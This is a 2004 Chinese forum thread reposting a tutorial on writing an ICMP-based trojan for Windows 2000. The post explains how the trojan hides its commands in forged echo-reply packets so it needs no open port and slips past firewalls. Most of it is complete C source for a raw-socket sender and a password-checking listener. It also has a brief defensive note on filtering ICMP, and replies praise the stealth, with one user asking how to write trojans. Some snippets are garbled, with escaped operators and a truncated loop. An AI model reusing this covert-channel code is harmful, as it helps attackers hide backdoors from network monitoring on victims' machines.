免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 3389 | 回复: 10
打印 上一主题 下一主题

基于ICMP的木马的编写 zz [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2004-08-30 10:05 |只看该作者 |倒序浏览
基于ICMP的木马的编写  

本文会详细的分析Win2000下一种新型木马的内部构造和防御方法。(本文默认的操作系统为Win2000,开发环境为VC++6.0。)
  大家知道,一般的"古典"型木马都是通过建立TCP连接来进行命令和数据的传递的,但是这种方法有一个致命的漏洞,就是木马在等待和运行的过程中,始终有一个和外界联系的端口打开着,这是木马的阿喀琉斯之踵(参看希腊神话《特洛伊战纪》),也是高手们查找木马的杀手锏之一(Netstat大法)。所谓道高一尺,魔高一丈,木马也是在斗争中不断进步不断成长的,其中一种ICMP木马就彻底摆脱了端口的束缚,成为黑客入侵后门工具中的佼佼者。

  什么是ICMP呢?ICMP全称是Internet Control Message Protocol(互联网控制报文协议)它是IP协议的附属协议,用来传递差错报文以及其他需要注意的消息报文,这个协议常常为TCP或UDP协议服务,但是也可以单独使用,例如著名的工具Ping(向Mike

Muuss致敬),就是通过发送接收ICMP_ECHO和ICMP_ECHOREPLY报文来进行网络诊断的。

  实际上,ICMP木马的出现正是得到了Ping程序的启发,由于ICMP报文是由系统内核或进程直接处理而不是通过端口,这就给木马一个摆脱端口的绝好机会,木马将自己伪装成一个Ping的进程,系统就会将ICMP_ECHOREPLY(Ping的回包)的监听、处理权交给木马进程,一旦事先约定好的ICMP_ECHOREPLY包出现(可以判断包大小、ICMP_SEQ等特征),木马就会接受、分析并从报文中解码出命令和数据。

  ICMP_ECHOREPLY包还有对于防火墙和网关的穿透能力。对于防火墙来说,ICMP报文是被列为危险的一类:从Ping of Death到ICMP风暴到ICMP碎片攻击,构造ICMP报文一向是攻击主机的最好方法之一,因此一般的防火墙都会对ICMP报文进行过滤;但是ICMP_ECHOREPLY报文却往往不会在过滤策略中出现,这是因为一旦不允许ICMP_ECHOREPLY报文通过就意味着主机没有办法对外进行Ping的操作,这样对于用户是极其不友好的。如果设置正确,ICMP_ECHOREPLY报文也能穿过网关,进入局域网。




  1. 为了实现发送/监听ICMP报文,必须建立SOCK_RAW(原始套接口),首先,我们需要定义一个IP首部:

  2. typedef struct iphdr {

  3.  unsigned int version:4; // IP版本号,4表示IPV4

  4.  unsigned int h_len:4; // 4位首部长度

  5.  unsigned char tos; // 8位服务类型TOS

  6.  unsigned short total_len; // 16位总长度(字节)

  7.  unsigned short ident; //16位标识

  8.  unsigned short frag_and_flags; // 3位标志位

  9.  unsigned char ttl; //8位生存时间 TTL

  10.  unsigned char proto; // 8位协议 (TCP, UDP 或其他)

  11.  unsigned short checksum; // 16位IP首部校验和

  12.  unsigned int sourceIP; //32位源IP地址

  13.  unsigned int destIP; //32位目的IP地址

  14. }IpHeader;



  15.   然后定义一个ICMP首部:



  16. typedef struct _ihdr {

  17.  BYTE i_type; //8位类型

  18.  BYTE i_code; //8位代码

  19.  USHORT i_cksum; //16位校验和

  20.  USHORT i_id; //识别号(一般用进程号作为识别号)

  21.  USHORT i_seq; //报文序列号

  22.  ULONG timestamp; //时间戳

  23. }IcmpHeader;



  24.   这时可以同过WSASocket建立一个原始套接口:



  25. SockRaw=WSASocket(

  26.           AF_INET, //协议族

  27.           SOCK_RAW, //协议类型,SOCK_RAW表示是原始套接口

  28.           IPPROTO_ICMP, //协议,IPPROTO_ICMP表示ICMP数据报

  29.           NULL, //WSAPROTOCOL_INFO置空

  30.           0, //保留字,永远置为0

  31.           WSA_FLAG_OVERLAPPED //标志位

  32.           );



  33.   注:为了使用发送接收超时设置(设置SO_RCVTIMEO, SO_SNDTIMEO),必须将标志位置为WSA_FLAG_OVERLAPPED



  34.   随后你可以使用fill_icmp_data子程序填充ICMP报文段:



  35. fill_icmp_data函数:



  36. void fill_icmp_data(char * icmp_data, int datasize)



  37. {

  38.  IcmpHeader *icmp_hdr;

  39.  char *datapart;

  40.  icmp_hdr = (IcmpHeader*)icmp_data;

  41.  icmp_hdr->;i_type = ICMP_ECHOREPLY; //类型为ICMP_ECHOREPLY

  42.  icmp_hdr->;i_code = 0;

  43.  icmp_hdr->;i_id = (USHORT)GetCurrentProcessId(); //识别号为进程号

  44.  icmp_hdr->;i_cksum = 0; //校验和初始化

  45.  icmp_hdr->;i_seq = 0; //序列号初始化

  46.  datapart = icmp_data + sizeof(IcmpHeader); //数据端的地址为icmp报文地址加上ICMP的首部长度

  47.  memset(datapart,"A", datasize - sizeof(IcmpHeader)); //这里我填充的数据全部为"A",你可以填充任何代码和数据,实际上木马和控制端之间就是通过数据段传递数据的。



  48. }

  49.   再使用CheckSum子程序计算ICMP校验和:

  50.    调用方法:

  51. ((IcmpHeader*)icmp_data)->;i_cksum = checksum((USHORT*)icmp_data, datasize);



  52. CheckSum函数:

  53. USHORT CheckSum (USHORT *buffer, int size)

  54. {

  55.  unsigned long cksum=0;

  56.  while(size >;1)

  57.   {

  58.     cksum+=*buffer++;

  59.     size -=sizeof(USHORT);

  60.   }

  61.   if(size ) cksum += *(UCHAR*)buffer;

  62.   cksum = (cksum >;>; 16) + (cksum & 0xffff);

  63.   cksum += (cksum >;>;16);

  64.   return (USHORT)(~cksum);

  65. }// CheckSum函数是标准的校验和函数,你也可以用优化过的任何校验和函数来代替它



  66.   随后,就可以通过sendto函数发送ICMP_ECHOREPLY报文:



  67.   sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));

  68. 作为服务端的监听程序,基本的操作相同,只是需要使用recvfrm函数接收ICMP_ECHOREPLY报文并用decoder函数将接收来的报文解码为数据和命令:



  69. recv_icmp=recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct

  70. sockaddr*)&from,&fromlen);



  71. decode_resp(recvbuf,recv_icmp,&from);



  72. decoder函数:



  73. void decoder(char *buf, int bytes,struct sockaddr_in *from)

  74. {

  75.  IpHeader *iphdr;

  76.  IcmpHeader *icmphdr;

  77.  unsigned short iphdrlen;

  78.  iphdr = (IpHeader *)buf; //IP首部的地址就等于buf的地址

  79.  iphdrlen = iphdr->;h_len * 4 ; // 因为h_len是32位word,要转换成bytes必须*4

  80.  icmphdr = (IcmpHeader*)(buf + iphdrlen); //ICMP首部的地址等于IP首部长加buf

  81.  printf("%d bytes from %s:",bytes, inet_ntoa(from->;sin_addr)); //取出源地址

  82.  printf(" icmp_id=%d. ",icmphdr->;i_id); //取出进程号

  83.  printf(" icmp_seq=%d. ",icmphdr->;i_seq); //取出序列号

  84.  printf(" icmp_type=%d",icmphdr->;i_type); //取出类型

  85.  printf(" icmp_code=%d",icmphdr->;i_code); //取出代码

  86.  for(i=0;//取出数据段

  87. }



  88.   注:在WIN2000下使用SOCK_RAW需要管理员的权限。



  89.   对于ICMP木马,除非你使用嗅探器或者监视windows的SockAPI调用,否则从网络上是很难发现木马的行踪的(关于进程的隐藏及破解会在下一篇文章中进行讨论),那么,有什么可以补救的方法呢?有的,就是过滤ICMP报文,对于win2000可以使用系统自带的路由功能对ICMP协议进行过滤,win2000的Routing

  90. & Remote Access功能十分强大,其中之一就是建立一个TCP/IP协议过滤器:打开Routing & Remote Access,选中机器名,在IP路由->;General->;网卡属性中有两个过滤器-输入过滤和输出过滤,只要在这里将你想过滤的协议制定为策略,ICMP木马就英雄无用武之地了;不过值得注意的是,一旦在输入过滤器中禁止了ICMP_ECHOREPLY报文,你就别想再用Ping这个工具了;如果过滤了所有的ICMP报文,你就收不到任何错误报文,当你使用IE访问一个并不存在的网站时,往往要花数倍的时间才能知道结果(嘿嘿,网络不可达、主机不可达、端口不可达报文你一个都收不到),而且基于ICMP协议的tracert工具也会失效,这也是方便和安全之间的矛盾统一了吧。



  91. 附录:

  92. 1、发送ICMP_ECHOREPLY报文的程序代码

  93. #include <winsock2.h>;

  94. #include <stdio.h>;

  95. #include <stdlib.h>;



  96. #define ICMP_ECHO 8                       //ICMP回显请求报文的类型值为8

  97. #define ICMP_ECHOREPLY 0             //ICMP回显应答报文的类型值为0

  98. #define ICMP_MIN 8                         // ICMP报文的最小长度是8字节(仅为首部)

  99. #define ICMP_DEST_IP "127.0.0.1"    //目标主机的IP

  100. #define ICMP_PASSWORD 1234        //密码设置,用来识别控制端



  101. // 定义IP 首部

  102. typedef struct iphdr {

  103. unsigned int version:4;                        //IP版本号,4表示IPV4

  104.        unsigned int h_len:4;                    //4位首部长度

  105.        unsigned char tos;                       //8位服务类型TOS

  106.        unsigned short total_len;        //16位总长度(字节)  

  107.        unsigned short ident;                    //16位标识

  108.        unsigned short frag_and_flags;   //3位标志位

  109.        unsigned char  ttl;                        //8位生存时间 TTL

  110.        unsigned char proto;                    //8位协议 (TCP, UDP 或其他)

  111.        unsigned short checksum;            //16位IP首部校验和

  112.        unsigned int sourceIP;                 //32位源IP地址

  113.        unsigned int destIP;                         //32位目的IP地址

  114. }IpHeader;





  115. // 定义ICMP首部

  116. typedef struct _ihdr

  117. {

  118.        BYTE i_type;                           //8位类型

  119.        BYTE i_code;                             //8位代码

  120.        USHORT i_cksum;                      //16位校验和

  121.        USHORT i_id;                      //识别号(一般用进程号作为识别号)

  122.        USHORT i_seq;                           //报文序列号  

  123.        ULONG timestamp;                     //时间戳

  124. }IcmpHeader;





  125. #define STATUS_FAILED 0xFFFF

  126. #define DEF_PACKET_SIZE 64          //定义报文的大小为64字节

  127. #define MAX_PACKET 6500        //定义最大报文的大小为6500字节



  128. #define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))

  129. #define xfree(p)   HeapFree (GetProcessHeap(),0,(p))



  130. void fill_icmp_data(char *,int);            //填充ICMP报文的子程序

  131. USHORT checksum(USHORT *, int);  //计算校验和的子程序   



  132. int main(int argc, char **argv)

  133. {

  134.   WSADATA wsaData;

  135.   SOCKET sockRaw = (SOCKET)NULL;

  136.   struct sockaddr_in dest,from;

  137.   struct hostent * hp;

  138.   int bread,datasize,retval,bwrote;

  139.   int fromlen = sizeof(from);

  140.   int timeout = 1000;

  141.   char *icmp_data;

  142.   char *recvbuf;

  143.   unsigned int addr=0;

  144.   USHORT seq_no = 0;

  145.   static int nCount=0;



  146.   if((retval=WSAStartup(MAKEWORD(2,1),&wsaData)) != 0)

  147.        {fprintf(stderr,"WSAStartup failed: %d\n",retval);ExitProcess(STATUS_FAILED);}

  148. if((sockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)

  149.        {fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());ExitProcess(STATUS_FAILED);}

  150.   __try

  151.   {

  152.               if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR)

  153.                      {fprintf(stderr,"Failed to set recv timeout: %d\n",WSAGetLastError());__leave;}      //设置接收超时

  154.               if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR)

  155.                      {fprintf(stderr,"Failed to set send timeout: %d\n",WSAGetLastError());__leave;}     //设置发送超时

  156.               memset(&dest,0,sizeof(dest));

  157.               dest.sin_family = AF_INET;

  158.               dest.sin_addr.s_addr = inet_addr(ICMP_DEST_IP);

  159.               datasize=DEF_PACKET_SIZE;

  160.               datasize+=sizeof(IcmpHeader);  

  161.               icmp_data=xmalloc(MAX_PACKET);

  162.               recvbuf=xmalloc(MAX_PACKET);

  163.               if(!icmp_data) {fprintf(stderr,"HeapAlloc failed %d\n",GetLastError());__leave;}

  164.               memset(icmp_data,0,MAX_PACKET);

  165.               printf("\nSend Packet to %s Success!\n",ICMP_DEST_IP);

  166.               fill_icmp_data(icmp_data,datasize);                           //填充ICMP报文

  167.               ((IcmpHeader*)icmp_data)->;timestamp = GetTickCount();       //设置时间戳

  168.               ((IcmpHeader*)icmp_data)->;i_seq = ICMP_PASSWORD;        //设置序列号,实际使用时可以用这个密码验证

  169.               ((IcmpHeader*)icmp_data)->;i_cksum = checksum((USHORT*)icmp_data, datasize);                   //计算校验和

  170.               bwrote=sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));     //发送报文

  171.               if (bwrote == SOCKET_ERROR)

  172.               {

  173.                      if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out\n");

  174.                      fprintf(stderr,"sendto failed: %d\n",WSAGetLastError());

  175.                      __leave;

  176.               }

  177.               if (bwrote < datasize ) fprintf(stdout,"Wrote %d bytes\n",bwrote);

  178.   }

  179.   __finally

  180.   {

  181.        if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);

  182.        WSACleanup();

  183.   }

  184.   return 0;

  185. }



  186. //计算校验和函数

  187. USHORT checksum(USHORT *buffer, int size)

  188. {

  189.   unsigned long cksum=0;

  190.   while(size >;1)

  191.   {

  192.        cksum+=*buffer++;

  193.        size -=sizeof(USHORT);

  194.   }

  195.   if(size ) {

  196.        cksum += *(UCHAR*)buffer;

  197.   }

  198.   cksum = (cksum >;>; 16) + (cksum & 0xffff);

  199.   cksum += (cksum >;>;16);

  200.   return (USHORT)(~cksum);

  201. }



  202. //填充ICMP数据报函数

  203. void fill_icmp_data(char * icmp_data, int datasize)

  204. {

  205.   int i;

  206.   char SendMsg[20]="Hello World!";

  207.   IcmpHeader *icmp_hdr;

  208.   char *datapart;

  209.   icmp_hdr = (IcmpHeader*)icmp_data;

  210.   icmp_hdr->;i_type = ICMP_ECHOREPLY;

  211.   icmp_hdr->;i_code = 0;

  212.   icmp_hdr->;i_id = (USHORT) GetCurrentProcessId();

  213.   icmp_hdr->;i_cksum = 0;

  214.   icmp_hdr->;i_seq = 0;

  215.   datapart = icmp_data + sizeof(IcmpHeader);

  216.   for(i=0;i<sizeof(SendMsg);i++) datapart[i]=SendMsg[i];   

  217. }





  218. 2、接收ICMP_ECHOREPLY报文的程序代码

  219. #include <winsock2.h>;

  220. #include <stdio.h>;

  221. #include <stdlib.h>;



  222. #define ICMP_ECHO 8

  223. #define ICMP_ECHOREPLY 0

  224. #define ICMP_MIN 8 // minimum 8 byte icmp packet (just header)

  225. #define ICMP_PASSWORD 1234



  226. /* The IP header */

  227. typedef struct iphdr {

  228. unsigned int h_len:4;                    //4位首部长度

  229. unsigned int version:4;                 //IP版本号,4表示IPV4

  230. unsigned char tos;                       //8位服务类型TOS

  231. unsigned short total_len;               //16位总长度(字节)

  232. unsigned short ident;                    //16位标识

  233. unsigned short frag_and_flags;     //3位标志位

  234. unsigned char  ttl;                        //8位生存时间 TTL

  235. unsigned char proto;                    //8位协议 (TCP, UDP 或其他)

  236. unsigned short checksum;            //16位IP首部校验和

  237. unsigned int sourceIP;                 //32位源IP地址

  238. unsigned int destIP;                            //32位目的IP地址

  239. }IpHeader;





  240. //定义ICMP首部

  241. typedef struct _ihdr

  242. {

  243. BYTE i_type;                                     //8位类型

  244. BYTE i_code;                                    //8位代码

  245. USHORT i_cksum;                             //16位校验和

  246. USHORT i_id;                             //识别号(一般用进程号作为识别号)

  247. USHORT i_seq;                                  //报文序列号  

  248. ULONG timestamp;                            //时间戳

  249. }IcmpHeader;





  250. #define STATUS_FAILED 0xFFFF

  251. #define DEF_PACKET_SIZE 640

  252. #define MAX_PACKET 6500



  253. #define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))

  254. #define xfree(p)   HeapFree (GetProcessHeap(),0,(p))



  255. void fill_icmp_data(char *, int);

  256. USHORT checksum(USHORT *, int);

  257. void decode_resp(char *,int ,struct sockaddr_in *);



  258. int main(int argc, char **argv){



  259.   WSADATA wsaData;

  260.   SOCKET sockRaw = (SOCKET)NULL;

  261.   struct sockaddr_in dest,from;

  262.   struct hostent * hp;

  263.   int bread,datasize,retval;

  264.   int fromlen = sizeof(from);

  265.   int timeout = 1000;

  266.   char *icmp_data;

  267.   char *recvbuf;

  268.   unsigned int addr=0;

  269.   USHORT seq_no = 0;



  270.   if ((retval = WSAStartup(MAKEWORD(2,1),&wsaData)) != 0){

  271. fprintf(stderr,"WSAStartup failed: %d\n",retval);

  272. ExitProcess(STATUS_FAILED);

  273.   }

  274.   sockRaw = WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED);

  275.   

  276.   if (sockRaw == INVALID_SOCKET) {

  277. fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());

  278. ExitProcess(STATUS_FAILED);

  279.   }

  280.   __try{

  281.   bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));

  282.   if(bread == SOCKET_ERROR)

  283.   {

  284.                fprintf(stderr,"failed to set recv timeout: %d\n",WSAGetLastError());

  285.         __leave;

  286.   }

  287.   bread = setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout));

  288.   if(bread == SOCKET_ERROR)

  289.   {

  290.                fprintf(stderr,"failed to set send timeout: %d\n",WSAGetLastError());

  291.         __leave;

  292.   }

  293.   memset(&dest,0,sizeof(dest));

  294.   dest.sin_family = AF_INET;

  295.   dest.sin_addr.s_addr = inet_addr("207.46.230.218");//任意IP地址

  296.   datasize = DEF_PACKET_SIZE;

  297.   datasize += sizeof(IcmpHeader);  

  298.   icmp_data = xmalloc(MAX_PACKET);

  299.   recvbuf = xmalloc(MAX_PACKET);

  300.   if (!icmp_data) {

  301.         fprintf(stderr,"HeapAlloc failed %d\n",GetLastError());

  302.         __leave;

  303.   }

  304.   memset(icmp_data,0,MAX_PACKET);

  305.   while(1) {

  306.         static int nCount = 0;

  307.         int bwrote;

  308.         fill_icmp_data(icmp_data,datasize);

  309.         ((IcmpHeader*)icmp_data)->;i_cksum = 0;

  310.         ((IcmpHeader*)icmp_data)->;timestamp = GetTickCount();

  311.         ((IcmpHeader*)icmp_data)->;i_seq = 1111;

  312.         ((IcmpHeader*)icmp_data)->;i_cksum = checksum((USHORT*)icmp_data, datasize);

  313.         bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));

  314.         bread = recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen);

  315.             if (bread == SOCKET_ERROR){

  316.                if (WSAGetLastError() == WSAETIMEDOUT) {

  317.                       continue;

  318.                }

  319.                fprintf(stderr,"recvfrom failed: %d\n",WSAGetLastError());

  320.                __leave;

  321.                

  322.         }

  323.        decode_resp(recvbuf,bread,&from);

  324.         Sleep(1000);

  325.   }

  326.   }

  327.   __finally {

  328. if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);

  329. WSACleanup();

  330.   }

  331.   return 0;

  332. }



  333. void decode_resp(char *buf, int bytes,struct sockaddr_in *from)

  334. {

  335. int i;

  336. IpHeader *iphdr;

  337. IcmpHeader *icmphdr;

  338. unsigned short iphdrlen;

  339. iphdr = (IpHeader *)buf;

  340. iphdrlen = iphdr->;h_len * 4 ;

  341. icmphdr = (IcmpHeader*)(buf + iphdrlen);

  342. if(icmphdr->;i_seq==ICMP_PASSWORD)//密码正确则输出数据段

  343. {

  344.         printf("%d bytes from %s:",bytes, inet_ntoa(from->;sin_addr));

  345.         printf(" IcmpType %d",icmphdr->;i_type);

  346.         printf(" IcmpCode %d",icmphdr->;i_code);

  347.         printf("\n");

  348.         for(i=0;i<50;i++) printf("%c",*(buf+iphdrlen+i+12));

  349. }

  350. else printf("Other ICMP Packets!\n");

  351. printf("\n");            

  352. }





  353. USHORT checksum(USHORT *buffer, int size) {



  354.   unsigned long cksum=0;

  355.   while(size >;1) {

  356. cksum+=*buffer++;

  357. size -=sizeof(USHORT);

  358.   }

  359.   if(size ) {

  360. cksum += *(UCHAR*)buffer;

  361.   }

  362.   cksum = (cksum >;>; 16) + (cksum & 0xffff);

  363.   cksum += (cksum >;>;16);

  364.   return (USHORT)(~cksum);

  365. }



  366. void fill_icmp_data(char * icmp_data, int datasize){

  367.   IcmpHeader *icmp_hdr;

  368.   char *datapart;

  369.   icmp_hdr = (IcmpHeader*)icmp_data;

  370.   icmp_hdr->;i_type = ICMP_ECHO;

  371.   icmp_hdr->;i_code = 0;

  372.   icmp_hdr->;i_id = (USHORT)GetCurrentProcessId();

  373.   icmp_hdr->;i_cksum = 0;

  374.   icmp_hdr->;i_seq = 12;

  375.   datapart = icmp_data + sizeof(IcmpHeader);

  376.   memset(datapart,'A', datasize - sizeof(IcmpHeader));

  377. }


复制代码

论坛徽章:
0
2 [报告]
发表于 2004-08-30 13:47 |只看该作者

基于ICMP的木马的编写 zz

老大你这东东好象也是很老的了,
现在icmp是不是都被禁止掉了?
(我也不是很懂,就知道ping现在几乎不起作用了)


---
我正想学写木马,但是自己还什么也不会
不知道最好用什么语言来写
有的人说vc++写的话,出来的东西太大
不知道你的代码编译完有多大?

况且我的vc还没学懂呢!
masm好象很有用,但是好象要对win32的编程很熟悉

实在不行就得花钱买了。。。

论坛徽章:
0
3 [报告]
发表于 2004-08-30 14:12 |只看该作者

基于ICMP的木马的编写 zz

老点是正常的,呵呵,反正偶现在是没什么能力写出点新的东西。

至于木马本身,什么反弹、无进程、无端口、上线通知、dll... ...这些东西也算不上新,但也还是有点研究的价值。

但偶发这个贴子的真正意义是... ...


































很久木有发贴啦,想体验一下发贴的感觉!

论坛徽章:
0
4 [报告]
发表于 2004-08-31 13:18 |只看该作者

基于ICMP的木马的编写 zz

关键思路。最近听一个朋友描述一个back door想法,实在匪夷所思。。。。

论坛徽章:
0
5 [报告]
发表于 2004-08-31 21:15 |只看该作者

基于ICMP的木马的编写 zz

[quote]原帖由 "FPE5"]关键思路。最近听一个朋友描述一个back door想法,实在匪夷所思。。。。[/quote 发表:


什么思路啊?能让我涨涨见识吗?如果方便的话提出来大家讨论讨论吧

论坛徽章:
0
6 [报告]
发表于 2004-09-01 09:51 |只看该作者

基于ICMP的木马的编写 zz

实在不好意思,我很想和大家分享。可是别人东西。要别人同意。:(

论坛徽章:
0
7 [报告]
发表于 2004-09-01 12:43 |只看该作者

基于ICMP的木马的编写 zz

faint说说思路也不至于把
楼珠说的icmp方法 如果封掉icmp协议的入口就是不让ping 本地
可以预防了
不过程序到可以看看up

论坛徽章:
0
8 [报告]
发表于 2004-09-01 14:49 |只看该作者

基于ICMP的木马的编写 zz

思路的确重要,要传造性滴想出个前无古人的思路更是不易。

大多数的情况是:通宵达旦滴憋了X天,一个目标终于被自己创造性滴解决了,结果后来才发现这思路2年前已经有银用过了,开始郁闷... ...

论坛徽章:
0
9 [报告]
发表于 2004-09-02 15:32 |只看该作者

基于ICMP的木马的编写 zz

其实这个思路还是不错的,大家注意一般的防火墙都不会封掉本地发起的ping,所谓的a机器禁ping,是指别人ping不通他,而不是他ping不通别人。利用这个使用约定好的ICMP_ECHOREPLY包,的确很难防止和发现。

同样,只要这台机器连在网络上,而且他会主动访问网络的其他资源,那么就可以使用伪造的回应包来控制木马,这是一种很好的隐藏方法啊。

论坛徽章:
0
10 [报告]
发表于 2004-09-03 15:52 |只看该作者

基于ICMP的木马的编写 zz

原帖由 "bizzar" 发表:
其实这个思路还是不错的,大家注意一般的防火墙都不会封掉本地发起的ping,所谓的a机器禁ping,是指别人ping不通他,而不是他ping不通别人。利用这个使用约定好的ICMP_ECHOREPLY包,的确很难防止和发现。

同样,?.........


同意
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP